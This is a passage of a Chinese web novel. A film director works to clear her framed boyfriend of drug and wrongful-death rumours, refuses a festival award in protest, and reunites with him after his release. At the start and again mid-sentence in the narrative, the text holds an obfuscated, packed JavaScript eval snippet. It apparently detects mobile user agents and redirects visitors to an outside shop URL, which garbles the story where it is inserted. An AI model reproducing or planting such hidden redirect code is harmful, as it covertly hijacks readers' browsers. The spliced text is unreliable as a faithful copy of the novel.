d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14294804|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宜夏闭了下眼睛,穿过走廊走到审讯室门口。 审讯室的门紧闭,完全看不见里面的情况。 宜夏又走回大厅。 路昭野按住她的手臂:“宜老师,不要慌,相信警方一定能查清楚真相的,不会冤枉人。” 宜夏心乱如麻。 她当然相信谈雪昼的无辜,但是只要一想到他被拷住,被关在审讯室里,她就煎熬得无以复加。 到底是谁在陷害? 宜夏只能想到,是于璟。 路昭野看她表情痛苦,不忍地说:“宜老师,你坐一下吧,我去问问现在什么情况。” 她抬起头,一口气堵在胸口几乎出不来,闭了下眼。 这时,外面传来了一阵脚步声。 宜夏转头去看,谈默生缓慢地走了过来,旁边只跟着两位秘书,以及一个穿警服、肩章看起来警衔很高的中年警察。 大厅里几个办公的警察都站起来,冲那位警察微微弯腰鞠躬:“贺厅。” 贺厅表情严肃沉默,只略微点头。 宜夏也站了起来,看向谈默生,张了张口,却没出声。 谈默生走到她面前,上下打量她一遍,温声说:“不要害怕。” 宜夏眼泪突然滚了出来。她立马用两根手指擦干净了,努力绷着声音“嗯”了一声。 谈默生说:“不会有事的。” 宜夏当然相信谈雪昼是完全清白的。 可是,还是煎熬。 谈默生留在大厅里等了一会儿。 那位贺厅去跟几个警察说了什么,没多久,审讯室的大门打开,律师从里面出来了。 律师简短地说明了现在的情况。 问题的关键在于出罪的条件,谈雪昼对那个小演员在片场吸毒到底知不知情。 对这一点,并不是当事人声称自己不知情,警方就会完全相信的,需要一段时间完整调查。 不过,经验丰富的警察和律师,都对这个案件的情况有了初步判断。 贺厅表态:“谈老先生,您放心,我们一定会尽快做好工作,还小谈一个清白。” 谈默生缓慢说:“按照你们的流程来吧,一定不能有任何不清楚的、逾越规矩的地方,要调查得清清楚楚。” 宜夏在旁边听得快要呼吸不上来。 所以,意思是谈雪昼还要继续被拘留吗? 他们留在警察局也见不了谈雪昼,只好暂时离开。 回到家之后,宜夏看了眼网络上的消息。 《天幕之下》剧组几乎所有人都被造谣有问题,整个剧组已经沦为了网友口中的毒窝。毕竟毒品能出现在片场,那绝对是所有人都视若无睹地包庇、见怪不怪地纵容。 关注度最高的几个大明星,都被质疑是否涉毒,经纪公司已经针对怀疑纷纷在网上辟谣自证,也展示了尿检阴性的结果。 但网友们还是群情激奋。 毒品不同于那些什么出轨劈腿的鸡毛蒜皮问题,实在是太严肃了,太容易毁掉一个人了。 路昭野也在深夜的时候上线,回应并且自证了清白。 他的粉丝声量非常大,脱粉的固然有,但也有坚定相信支持维护他的,与那些依然怀疑、要求严格自证的网友产生了冲突,甚至差点演变成线下的社会事故。 到深夜,网上又出现了新的舆情。 一个匿名的空白小号,发帖表示谈雪昼不仅涉毒,还涉及一桩命案—— 辛漪的死亡。 一个空白的小号,首先放出的是辛漪的尸检报告,法医检验结果显示,辛漪的死并非心脏骤停猝死,而是服用大量安眠药后割腕自杀。 随后,小号贴出了辛漪的日记片段。 在日记里,辛漪凌乱地写下了自己的经历,满篇都是血泪与痛苦。 被PUA,被剧组压榨,被欺凌,被侮辱…… 随后,小号将矛头指向了谈雪昼,表示辛漪在他的《致命追杀2》开机前封闭训练阶段自杀,她就是被谈雪昼逼死的。 小号跟着曝光了谈雪昼的家世。 其实网友都能看出来谈雪昼的家世优越,只是,他从来没公开说过自己的家庭。正经知情的媒体未经允许也不敢讨论曝光真正的情况,因此网络上对他的家世猜测,都是些捕风捉影,没人敢确定,他真的是海晏实业的谈,八千亿的谈。 小号表示,虽然涉及命案,但作为海晏实业谈家的唯一继承人,一手遮天的海晏,自然有能力帮他掩盖这桩命案的细节,因此他还能逍遥法外。 还提供了佐证:《致命追杀2》明明是谈雪昼一手开发的IP,却转移到了郑中承导演手里,全都是因为致命追杀的投资人们知道内情,提前规避了谈雪昼涉及这桩命案的风险。 一切都说得通。 全网哗然。 热搜一个接着一个地上。 辛漪的粉丝没从自家偶像竟然是自杀这件事中回过神来,就看见了偶像的血泪史,没人能忍住内心的暴戾,纷纷表示谈雪昼这种畜生应该被死刑。 甚至有几万人联名请愿,请求检察机构对谈雪昼提起公诉,调查他对辛漪的死应该负的责任。 宜夏一整夜都没睡,煎熬着看谈雪昼的社交账号下的评论。 铺天盖地的辱骂,侮辱。 全世界的恨意铺天盖地席卷而来。 宜夏知道自己不能乱说话。 说错一句话,就会万劫不复。 但哪怕保持沉默,依然有无数言论涌入她的评论区。 质问她是不是也吸毒,是不是跟谈雪昼狼狈为奸,是不是也是害死辛漪的帮凶……甚至联想到之前《清塘山岛日记》的方凌吸毒,是否她其实早就对此知情。 她的社交媒体也已经全面沦陷。 甚至有人给他P了遗照发给她,诅咒她和谈雪昼一起下地狱。 她曾经经历过的那场网暴,不如这场烈度的十分之一。 90. 想把你比作春日 网上的舆论愈演愈烈。 律师建议宜夏不要多说话,避免引起网友的更多反弹。 现在网上已经有了很多阴谋论。 由于谈雪昼的家世曝光,警方现在面临了严重的舆论问题。 网友们已经在怀疑,谈雪昼那样的家世,会不会对警方施压,让警方被迫在明知他有问题的时候依然释放他。 对其他人来说,这种可能性不大。 但对谈家来说,没有什么是钱和权做不到的。 警方如果不能彻彻底底、清清楚楚地查清整件事情,那么,不仅谈雪昼无法彻底得到清白,就连自身的公信力也会受到影响。 律师本来告诉宜夏,这件事情很简单,从那个小演员入手,很快就能查清真相,让谈雪昼从拘留所出来。 但是转天,又告诉宜夏,警方需要更加细致的调查,所以谈雪昼还不能被释放。 ——已经三天了。 网上的舆论依然没有消停。 如果谈雪昼真的是清白的不是被冤枉的,警方为什么不释放他? 网上的言论又有话说了:这证明谈雪昼真的有犯罪的嫌疑。 不停有谣言产生。 有小号表示,警方已经从谈雪昼的住处搜出了大约80克大||麻,以及四个小袋包装的冰||毒。如此详细的数据,不由得人不信。 又有人表示,辛漪去世后,偶然撞见辛漪的母亲来找谈雪昼,离开时痛哭流涕,几乎是被人拖出去的。 明显是来问他要一个公道的,却被钱权压倒,连声音都发不出。 小演员,命那么贱,死了连个真相都要不到!有钱有权的人,能让你连一句话、一声呼救都发不出! 就在这时,郑中承暗戳戳地发了一条微博出来,感叹“早就想到会有这一天了”。 也有一些与谈雪昼没什么关系,或者有过冲突的演员、圈内人士,也暗暗表示,法网恢恢疏而不漏,所谓人在做天在看,亏心事做太多了迟早会遇见报应。 短短三天。 谈雪昼在网上的形象已经彻底跌入了谷底。 吸毒,容留他人吸毒,甚至可能教唆、引导他人吸毒,草菅人命,玩弄女性,仗势欺人,逼死了人甚至还能逍遥法外。 有几个《天幕之下》的演员已经顶不住压力,表示了会退出电影的拍摄。 最红最有名的路昭野,在这风口浪尖上根本无法出声,只能保持沉默。 沉默代表着帮凶,路昭野也被人骂了几天几夜。 《天幕之下》的一个大投资商站出来表示,将会退出对《天幕之下》的投资。 网友们纷纷称赞这家机构坚持正义,是家有道德、有底线的公司,并艾特其他投资机构出来,质疑为什么还要继续投资涉毒导演的电影。 当天下午,好几家机构表示正在评估,已经在进行解约流程。这是导演本身造成的问题,违约方在谈雪昼,而不在投资机构,谈雪昼会面临巨额违约费。 还有金梅电影节。 金梅电影节算是对谈雪昼比较公平的电影节了,之前给了还未公映的《牺牲者》最佳导演、最佳影片提名。 但也在官博表示,已经撤回了对谈雪昼的提名,电影节组委会绝对不允许没有道德底线的导演和艺人得到不属于他们的名誉。 就连海晏实业都受到了影响。 接连三天股价开盘大跌,投资者们人心惶惶。 兵荒马乱的三天。 宜夏几乎做什么事都没有心情,只要稍微一空闲下来,就会去想谈雪昼被关在看守所,过得怎么样。 凭什么。 他那样的人,为什么要让他遭受这些侮辱。 然而她什么都做不了。 警方和律师都没有透露给她太多案件的细节,但宜夏越想,越觉得一定是有人背后陷害。 那个人就是于璟。 一定是他的蓄意报复。 环环相扣,煽动舆论,从谈雪昼被带走起,整件事的发展,就都在于璟的控制之下——小演员咬死的知情,辛漪自杀真相的曝光,谈雪昼身世的曝光,一环扣一环,就是意图最大限度地煽动舆论。 真相迟早会水落石出,他这样操纵舆论,最多只能让谈雪昼在看守所里被多关几天,然而就是这几天,就已经足够惊弓之鸟的投资机构撤离,甚至足够影响海晏实业。 宜夏第一次主动找到了于璟的电话号码。 拨过去,三次之后,于璟才接,在那边声音慢条斯理的:“怎么了?宜夏,这几天过得怎么样?” 宜夏深吸一口气:“是你做的。” “什么?我不明白你在说什么。” “我们都知道,不要装了。”宜夏深呼吸,“于璟,你以为你做这些事情,警察会查不出来背后是谁在指使吗?你就那么自信,敢操纵利用公检法报复我们。” “我不明白你在说什么。” 宜夏冷笑:“你还不知道吧,你找的那个小演员,已经坦白了全是受人指使,放心,警察马上就会查到你的。” “怎么可——” 宜夏打断他:“我劝你赶紧认罪自首。你是教唆他人吸毒,自首还能从轻处罚。” 于璟沉默片刻,突然笑了:“你在诈我?你在录音?你是不是已经想不到办法帮谈雪昼了,只能从我这里入手?” 宜夏:“我不用想办法帮他,警方一定会查清楚真相。倒是你,于氏能抵抗住谈家吗?等谈雪昼出来,你知道你会面临什么吗?你真的不怕吗?” “我怕什么?我家都要被整破产了,我怕什么?”一说到这个,于璟就恨得咬牙切齿,情绪突然失控,“我告诉你,我现在人在英国,你们能把我怎么样?就是我指使的,又能怎么样?你心爱的人现在被关在看守所里,被放出来之后,也会不停有人怀疑他是不是真的吸毒,怀疑他是不是靠钱权才被放出来的,怀疑他是不是逼死了人,绝对得不到真正的清白。而这一切,都是你造成的。” 宜夏愣住了。 于璟在那边继续说:“都是你连累的。如果你没有跟他在一起,如果不是你,这些他根本就不会遭遇。宜夏,你以为你对他来说是什么?” ……是什么。 是灾星吗。 这些他本来都不必遭遇。 是因为她,因为她招惹了于璟,他才会遭遇这些陷害与阴谋。 她其实知道,这些都是于璟的心理操纵,都是受害者有罪论,都是转嫁矛盾。 但她的心还是不受控制地揪成一团。 她维持着镇定冷静,咬着牙,一字一顿地说:“你以为你说这些能影响到我们吗?我说过,我相信警方一定会彻底证明谈雪昼的清白。至于你,你只能在英国苟且,像一只阴沟里的老鼠。于璟,我为我高中的时候竟然喜欢过你而感到耻辱。”她顿了下,“还有,你以为出国了,法律就不能审判你吗?你对海晏太低估了。” 说完她就挂断了电话。 于璟猜对了,她是在录音。 他承认是他的陷害那一段录音,不知道能不能作为证据证明谈雪昼的清白。 不管怎样,她联系了律师,把录音提交给了他。 这是全社会都在关注的大案。 以往娱乐圈那些手段,什么删帖,禁言,拉黑,买水军,下通稿,通通失效。 公关奋战了几天,得出来的结论是,还是需要等警方的证明,否则提前删帖禁言等等,只会令网友们更加愤怒。 海晏实业地位敏感,对于网上现在愈演愈烈的谣言,根本不能出面辟谣。 那,还能做点什么? 宜夏不想坐以待毙。 她完全没办法留在家里,安静等警方还谈雪昼一个清白。 还有……辛漪的事。 辛漪的那些事,还有谁知情? 宜夏遇见事情也会很想找一个依靠,痛哭一场。 可是想到他现在被关在看守所里,面临所有人的指责,她就想她一定要支撑住。 知情的人也许还有,辛漪的母亲。 宜夏通过路昭野拿到了辛漪母亲的住址,连夜坐车赶去了那个地方。 那是一座小县城,辛漪的母亲在县城里开一家小卖铺。 县城似乎对网络上一切风起云涌毫不知情,活在另一个平静的世界里。 早晨九点,宜夏站在了那家小卖铺门口。 店面狭窄,辛漪的母亲坐在收银台后面用钩针织着一副手套。见有人进门,她连忙站起来,等待客人挑选东西然后结账。 客人是个年轻漂亮的女生,身上的外套,头上的发卡、耳朵上的耳坠,看起来都价值不菲,不太像会在这种小卖部买东西。只是眼睛通红,神情也很憔悴。 辛漪的母亲迟疑了一下,问:“您要看什么东西?” “您是辛漪的妈妈吗?” 她一愣,表情空白,片刻后才说:“我是,您是?” 宜夏说:“我是谈雪昼的女朋友。” - 小卖部的门面后面是辛漪母亲和弟弟住的地方。 辛漪的母亲把宜夏领到家里坐下,有些局促:“我给您倒杯水吧,您先坐一会儿。” 宜夏连忙制止了她:“不用。” 想了好久,她缓慢开口:“不知道您有没有关注网络上的消息。最近,所有人都在关注,辛漪曾经去世的真相。” 辛漪的母亲表情立刻变得很难看。 宜夏也有点感同身受的难受。她一鼓作气说完:“有人说,辛漪是被谈雪昼害死的,还拿出了辛漪的日记作证明。我想请您——” 还没说完,辛漪的母亲情绪有点激动:“胡说八道!谈导帮了我家漪漪那么多!胡说八道,乱说话!” 宜夏见她态度如此,缓了一下才继续说:“谈雪昼因为一些事情,现在本人不能出面澄清,所以想请您能不能帮忙说一下,澄清一下,跟大家说明真相。” “真相……”辛漪的妈妈表情一怔,犹豫着缓慢地摇头。 宜夏急切地问:“为什么?” “漪漪已经死了,她死的真相……不能拿出来说的。” 宜夏眼泪蓄在眼眶里,握住辛漪母亲的手臂:“可是——” 辛漪的妈妈眼睛里也多了泪水,看着宜夏:“姑娘,我没办法答应你这件事。” 宜夏缓了一下,慢慢说:“那如果,不用您说出死的真相,只要出面,澄清一下谈雪昼没有对她做过不好的事,可不可以?” 辛漪的母亲依然摇头,捂着脸:“对不起。漪漪已经死了,我不想任何人去打扰她。” 这时,房间旁边另一扇门突然打开。 一个染着黄毛的男人睡眼惺忪从里面出来,见到房间里的客人,顿时眼睛一亮。 随后,他认出了房间里的人,嘴角挂着的一点邪笑缓缓收起。 宜夏记性不大好,但凭借这个人的一头黄毛,她勉强能认出来,好像是她的《清塘山岛日记》拍摄过程中,因为骚扰工作人员被赶走的那个道具师。 辛天赐。 辛天赐不阴不阳地问:“妈,这谁啊?来干嘛的啊?” 辛漪的母亲介绍宜夏的身份。 辛天赐明显知道网上这些事情,“哟”了一声:“宜导啊?来找我妈让她帮你男朋友澄清啊?” 宜夏不自觉死死咬住唇瓣,看向辛漪的妈妈,还想再说什么,辛天赐打断:“宜导啊,我姐当初确实是死在谈导的组里啊,这没什么好澄清的,你别来打扰我家人了。” 宜夏看向他:“但不是网上说的那样——” 辛天赐大喇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14304554|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喇走过来,敞着腿坐下,想了下:“不过宜导,你要我们帮你澄清也行呗,打二十万。” 宜夏毫不犹豫地点头。 辛漪的妈妈连忙制止:“天赐!你这是在说什么?这不行,这不可以——” 辛天赐看她一眼:“妈,白来的钱为什么不要?谈导家里那么有钱,我们帮他,给点钱是应该的。” 辛漪的母亲还要再说什么,辛天赐不耐烦,看着宜夏又说:“二十万是不是太少了,五十万?” 宜夏依然点头。 辛天赐上下打量她一遍,想了下,又说:“还有,你跟我道歉,为了当初把我赶出你剧组的事。” 宜夏依然毫不犹豫:“对不起。我向你道歉。” 辛天赐顿时乐了,站起来,吊儿郎当又说:“还有,你要向我,跪下道歉。” 宜夏一怔,表情变得有些空白。 辛天赐抱着手臂,打量她:“跪下啊。” 宜夏抿紧了嘴唇,缓慢站起来,低下头,慢慢地朝他曲起两条腿。 就在膝盖马上要接触到地板的那一瞬间,辛漪的母亲扑过来抱住她,哭出声来:“姑娘!我答应你,我答应你帮你,没事啊,不要你跪!——天赐!” 宜夏倒在她怀里,抓住她的手掌,眼泪瞬间顺着脸颊滚落下来,哽咽着说:“我不是……我不知道能为他做什么,他明明没有做那些不好的事情。我也不想来打扰您,也不想辛漪被打扰,但是他真的——” 他是无辜的啊。 辛漪的母亲抱着她,替她擦眼泪,好久之后才不忍地说:“姑娘,我都答应你,你要我做什么?” - 宜夏拿到了辛漪母亲录的视频,以及辛漪留给母亲的那份遗书的照片回到江流。 网上的舆论依然群情激奋,格外沸腾。 警方没有出结果之前,她不能提前澄清辛漪的事,否则会被质疑避重就轻。 一定要等最重要的结果出来。 律师那边的信息,谈雪昼很快就会被警方无罪释放。 其实早就可以被保释,但因为网上那些舆论,谈默生不愿意谈雪昼被说特|权,不愿意他沾染任何一点不清白之处,于是,一直没有提出保释,一定要等查清楚所有真相无罪释放。 宜夏又问警方大概什么时候能够发通告,替他洗清污点。 律师也表示会尽快。 宜夏终于松了口气。 她很想很想回家大睡一觉。 等醒来的时候,谈雪昼已经回家了。 但是不行。 《春日》的首映礼办砸了,她这几天也根本没有心思再弥补。 但,《春日》得到了金梅电影节的提名,颁奖典礼就在今天,她必须参加。 下午做完了造型,她跟剧组的演员们一起去到金梅电影节的场馆。 走红毯时,格外匆忙。 谈雪昼被羁押了超过六天,媒体从警方那里得不到任何消息,见到她公开露面,就好像见到肉的饿狼一拥而上。 宜夏盯着一个言语格外尖锐的媒体记者:“请你注意你的言论。如果你再造谣,会面临法律指控。” 说完,她冷着脸转身离开了红毯,直接进到内场。 现场直播,弹幕上许多网友在骂骂咧咧,说男朋友涉毒还这么嚣张,说不定自己也吸。 进了内场之后,之前她拿奖之后各种套近乎的演员们,没有一个人来跟她说话。 她独自找到自己的位置,坐下。 捧高踩低,后恭前倨,跟红顶白,落井下石,她其实从来没对人性有过任何期待,尤其是娱乐圈中人。 只有谈雪昼是不同的那一个。 想到他,她心里突然很疼。 宜夏没有想到,金梅电影节竟然会给她的《春日》奖项。 并且,是最佳原创剧本奖。 宜夏拎着裙摆上台,却没有接过颁奖嘉宾手里那个奖杯。 她深吸一口气,握紧话筒,直视着镜头说:“在这里,我没有感言要发表。如果组委会要收回我的奖杯,我也无所谓。我只是想问你们一句,在警方还没有将人定罪的情况下,组委会直接剥夺一个导演的提名,并且将他定性为没有道德底线的人,这样做,到底是不是公平和正义的?” “还有正在看直播的观众们,网友们。” “这几天网络上的群情激奋,所有人都有目共睹。我明白大家的愤怒,也理解大家的愤怒。涉毒是一个异常严肃的问题,我们所有人都希望能够彻彻底底地查清真相。因此,谈雪昼导演被拘留之后,无论是他的公司,或者是他的家庭,他的朋友,甚至是他手下的演员们,除了自证清白以外,没有多说过任何一句话。大家都在等待警方彻底确证他的清白,而不愿意干扰或者误导警方的调查。这一份安静,是希望能为警方、为公检法创造一个良好的舆论环境。” “但有人把这些安静和沉默误以为是有罪不敢澄清和辟谣,在社交媒体上大肆污蔑造谣,从谈雪昼导演的人品问题,造谣到他的家庭,他的作品,他过去的经历,甚至是他的思想他的言论。难道谎言说一千遍会变成真理吗?难道仅凭三人成虎的谣言,就能把一个清白无辜的人变成一个十恶不赦的罪犯吗?谣言是要付出代价的,不仅是道德上的,更是法律上的。” “很感谢组委会,现在还没有掐断我的麦。那我最后再说一句:谈雪昼导演,我的亲人和爱人,他是无辜的。警方一定会还他公道。至于在警方之前就认定他没有道德底线的电影节,我想,发给我的奖项,也不一定有道德底线。因此,我决定拒绝这个奖项。” 说完,她径直下台,拎着裙摆从场馆最中间的通道走向大门。 场馆内所有人都沉默注视着她的背影,直到主持人慌乱上台,抖着声音再次Cue流程。 91. 想把你比作春日 - 谈雪昼尿检血检结果都是阴性,经过搜查,家里也没有任何毒品,同时所有身边人都可以作证,他并没有任何迹象和动机接触毒品。配合小演员的口供,谈雪昼的清白就已经可以证明了。 然而警方没有放人,因为,没有调查清楚所有细节——那个陷害谈雪昼的人究竟是谁? 宜夏那份录音在警方的调查中扮演了很重要的作用。 其实警方那边最初就能判断谈雪昼是遭人陷害。 那个一口咬死谈雪昼知情的吸毒演员,后续很快就跟警方坦白了其实是有人给钱指使他这么做的。但是他并不认识教唆的那个人,对方只在网上出现,并且也没有留真实姓名给他。 警方顺着小演员提供的银行卡信息查过去,只查到了一张境外的卡,但追查不出卡的主人到底是谁。 通过宜夏的那段录音,警方才往于璟的方向查。 海晏在英国与非常多的金融机构有合作,提供了那张卡的真实信息,经过几天的连续追查,终于得到了于璟的资金流动证据。 于璟之前数次骚扰宜夏,在警方留有案底记录。 于氏传媒和黎曼资本的斗法,前一段时间也是市场上令人津津乐道的大新闻。 如此一看,动机充分,警方终于能够释放谈雪昼、还他一个清白了。 2.14号当天,在放人的同时,警方发布了案情通告。 如果只是平常的警方通告,冷冰冰一句“没有犯罪”不可能让所有人相信,有人甚至可能怀疑谈雪昼的身份背景干扰司法公正。 因此,这份通告写得非常非常详细。 从谈雪昼自身的尿检血检结果、周围所有证人的供述等等,首先证明他根本与毒品无关。 再展示了各种聊天等证据,表明涉毒的小演员受人教唆、临时加入谈雪昼的剧组,而谈雪昼对他吸毒根本不知情。 小演员网上的聊天记录、资金往来、银行流水、人际关系等等证据一应俱全,完全足以证明谈雪昼遭人陷害的处境。 警方还在同一时间,发布了立案调查于璟教唆引诱未成年人吸毒的通告。 不过后一份通告无人关心。 由于警方的通告证据实在是太确凿了,网上舆论顿时大反转。 一些骂过谈雪昼的网友立刻掉转了枪头,感慨贵圈真乱,娱乐圈陷害人的手段实在是太恶毒。 当然,也有不肯相信的网友坚持认为,说不定这一整份通告、这些证据口供,全都是谈家伪造帮谈雪昼脱罪的。 正常的网友表示:那你的意思是谈家已经可以操纵我国公检法体系了?你这是在怀疑警方公信力,怀疑我国司法公正了?那这不是妥妥的官商勾结,如果有这种怀疑,建议赶紧去跟中央实名举报。 警方通告发出去的同一时间。 宜夏手里那份辛漪母亲的澄清视频,也同步公布了。 辛漪母亲有些局促地坐在凳子上,双手放在膝盖上,冲着镜头拘谨地笑了笑。 “大家好,我是演员辛漪的母亲。” “我看见了网络上对于我家漪漪去世的争议,也注意到了,有不少人把漪漪的死,怪罪到谈雪昼导演头上。漪漪已经去世了,本来,逝者已矣,我们活着的人,不该再用过多的关注来打扰到她。但是,她留给我一份遗书,在遗书里表示,她不愿意无辜的人受到伤害,尤其是曾经对她好、照顾过她的人。因此,我决定站出来,替谈雪昼导演澄清真相。” “漪漪确实是自杀。但是,她的自杀与谈导无关,而是因为,”她顿了下,“因为经纪公司长期压榨和欺凌。她选择了自杀之后,给我、给她弟弟、给谈雪昼导演留下了遗书,遗书里,写到了她过去遭受的一些,不好的事情。为了保护她,最终,大家决定向外界宣布,她是心脏病猝死而非自杀。” “谈雪昼导演是她演员生涯中遇见的贵人。帮助她,关心她,照顾她,甚至在得知她自杀的真正缘由之后,在背后默默地,让那些曾经欺凌过她的人都付出了代价。” “也因此,我不能让她的死成为伤害真正对她好的人的刀。如果我对现在的事情坐视不理,她的在天之灵也不会得到安息。她在遗书里写,希望所有人都不要再受到伤害,希望亲人,和朋友都能幸福地活着。因此,我在此,帮曾经关怀过她的谈雪昼导演澄清,他对辛漪,从来没有网络上那些欺凌和压榨的行为。” 说到最后,她已经哽咽了,声音是从嗓子眼里挤出来的。 视频公布出去之后,不少曾经激情辱骂过谈雪昼的网友沉默熄火了。 海晏和谈雪昼的公关一起发力,又找出了辛漪曾经那家经纪公司目前的经营情况——董事长因为偷税漏税入狱,高管涉嫌洗钱犯罪,艺人部总裁因为□□、□□幼女被判刑,等等等等,一家公司早就已经垮得只剩废墟。 这时有人才惊觉过来,这些不会是谈雪昼干的吧? 难道他默默在做复仇者,默默在做娱乐圈检察官? 这时候,《天幕之下》的演员们,谈雪昼过去合作过的演员们,以及各路导演制片摄影工作人员,都纷纷下场替谈雪昼说话。 这个表示谈雪昼在片场对群演态度非常好。 那个表示谈导拍戏特别吃苦耐劳,根本想不到他是顶级富二代富三代有几千亿家产要继承。 这个表示谈导特别的善良,路见不平总是会帮人家忙。 那个表示谈导很专业,对电影特别热爱特别真诚特别诚恳。 总之。 一时间,所有美好的品德又再次回到了谈雪昼身上。 而风暴中心的谈雪昼本人,已经足足被关了一周。 终于被放出来,是傍晚的时候。 外面夕阳是明朗的橘红色,在看守所的大铁门上反射着明晃晃的光。看守所的警察跟谈雪昼点头,打开大门:“谈导,谢谢你配合,可以离开了。” 谈雪昼冲人笑了下:“谢了。” 挡着阳光走出铁门,傍晚的风把额发吹得凌乱。 他站在原地略一转头,看见宜夏站在不远处。白衬衫配垂感很好的西装裤,露出一截白皙清瘦的脚踝,米色的风衣被风卷起衣角,晚风也卷起她浓黑的长发。 她漆黑的杏眼一眨不眨望着他,随后,眼眶迅速变得通红,然而嘴角却不受控制地翘了起来。 谈雪昼也站定在原地,看着她,不由自主地弯起唇角,冲她伸开双臂。 下一刻,她就直接冲了过来,撞进他怀里紧紧搂住他的背。 谈雪昼被她撞得往后退了半步才能搂住她,声音淡定:“这么想我?一日不见如隔三秋?” 宜夏听着他吊儿郎当拉长的声音,就又想哭,又想笑,伸手摸索他的脊背。 都瘦了。 都能摸到蝴蝶骨了。 宜夏深呼吸,从他怀里抬起头,仰着脸问:“你在里面怎么样?这几天怎么样?” 谈雪昼揉揉她的头发,漫不经心说:“写了个监狱风云的剧本。” 宜夏:“……” 她破涕为笑,擦掉眼泪。 他低头,一只手按在她后颈上轻轻捏了一下。宜夏简直条件反射,仰起脸,凑上去试图亲他,他却偏开脸躲开:“不行,身上脏——” 谈默生就站在车旁边默默注视着他们,这时候突然咳嗽了一声:“小雪。” 谈雪昼转过头,冲他一扬眉。 搂着宜夏走到谈默生面前,带着笑喊:“爷爷。” 谈默生再咳嗽了一声:“行了,上车吧,回家了。”又看了宜夏一眼,“一起回家。” 谈雪昼侧过头看了宜夏一眼,又抬头看谈默生。 谈默生被他惊讶的眼神弄得有点想发作,冷冷说:“你爷爷没为难你的小女朋友。” “奥。”谈雪昼笑起来,和十八九岁时一样的灿烂明亮,“这么好啊。” - 从谈家老宅出来,已经是九点多了。 本来谈默生是要他们俩一起住一晚,结果谈雪昼非要走,谈默生表情难看,真是儿大不中留。他最后也没说什么,让他麻溜滚蛋算了。 司机开车送他们回了嘉华汇。 谈雪昼迫不及待地进浴室洗澡,宜夏听着水声,这会儿终于有他已经回来了的真实感。她放空坐在小沙发上,仰着脸望着天花板的吊灯,不由自主地想到这几天的情绪煎熬。 想着这些,她点开了手机。 谈雪昼的事还挂在热搜上,不过那些之前造谣蹭热度的营销号通通闭嘴了。除开警方通报之外,就只有官方媒体转发澄清。 海晏实业一直特别低调,这两天才注册认证了官方微博,总共只发了一条内容,就是要求曾经造谣的营销号立即道歉。 评论区有人讪讪: 【草……这下是真碰到硬茬子了】 【海晏连自家太子都来不及关注,一注册就开始发律师函,发了一个晚上,我哭死】 【谈导这家世拍什么电影啊,他真的超爱,对电影是真爱】 【话说之前在横店遇见过谈导一次,谈导蹭群演盒饭吃吃得贼开心来着,没想到那是我距离五千亿最近的一次】 【No是八千亿】 【谈导我很喜欢你家公司,你能把股权和继承权都转让给我吗?】 【海晏在警方通报出来之前真的一句话都没说,也是沉得住气】 【清白的当然沉得住气了,某些不清白的出来跳得很欢】 还有个帖子提到了她。 @有碎玉声:前两天不敢开口,今天真相大白终于可以解除禁言了,我就想问问,有人觉得!一夏!在金梅电影节颁奖典礼上拒绝领奖!说的那一段话!很帅吗!原来不止他超爱,她也超爱的! 底下: -冬宜密雪是真的我说倦了 -一夏太刚了,什么垃圾电影节还敢取消我老公的提名,我老公明天直接自己赞助办一个 -姐拒绝领奖之后直接离开的背影简直太帅了,有电影感 -没想到长着一张甜妹脸,面无表情的时候气势那么吓人 -丈夫无辜被冤入狱!我,一夏,要为我的老公讨回公道! -二位都是导演,干脆自导自演一起演个电影吧,故事线就是谈导是无辜被冤坐牢的丈夫,一夏在外为他奔走,拼命拯救他。一夏负责故事高光,你谈负责美强惨卖脸,最好来点什么露肉露肩露大腿或者洗澡的片段 -《一夏打官司》。 -谈导当男菩萨肉身布施是吧 -让一夏来当导演。一夏一定懂你谈的美。 -话说真没人觉得我谈其实还挺适合自己出镜的吗?长得帅不说了,就是那股气质,一种漫不经心的倦怠冷淡,见过世面对所有事情都很随性包容,哪怕是被陷害进局子了,整个人都很淡定 -谈苏小作文来了快跑! -我是姐苏,姐姐姐夫般配! -我是哥苏,哥哥嫂子般配! -好好好,般配,般配点好啊 宜夏捂着燃起来的脸,整个人有点不好了。 这个互联网有很多让人讨厌的地方,也会遇见不少心灰意冷的时刻,但也有很多有才华又心怀善意的人,遇见被治愈的时刻。 浴室的水声淅淅沥沥,片刻后停了。 宜夏竖起耳朵,有些心猿意马。 浴室湿热的水蒸气从里涌出,谈雪昼抓着一根毛巾,从里面出来。 宜夏一抬眼,眼睛瞬间不受控制地睁大——他没穿上衣。 赤着上身,挺慢条斯理地擦着头发,瞟了她一眼。 其实好像也没瘦,他这个人穿衣服的时候会显得很清瘦,但衣服一脱,肌肉线条紧实,腹肌形状深刻,人鱼线顺着腹肌的形状没入裤子里,……特别明显的勾引。 是在勾引。 宜夏敢肯定。 她托着脸,镇定问:“你不冷吗?” “嗯?不冷。”他声音很柔和,走到她面前,伸手捏了下她脸颊,“你怎么瘦了?” “没有吧。”宜夏按住他的手,慢吞吞说,“我帮你吹头发。……你先把衣服穿上。” “没必要吧。”谈雪昼很坦然,“我身上你哪儿没看过啊。” 宜夏说:“那怎么能一样呢,那……平时是平时,睡觉是……” 他居高临下,用食指的指节抬了抬她下巴,凑过来直接在她唇上亲了一口:“嗯,睡觉是睡觉。那你跟我睡觉吗?” 宜夏:“……” 她咕咚咽了下口水。 …… 然后宜夏也没想到,刚从局子里出来的人这么有精神。 折腾到了很晚,结束之后,谈雪昼把她抱在怀里,一只手腾出来翻了下手机。 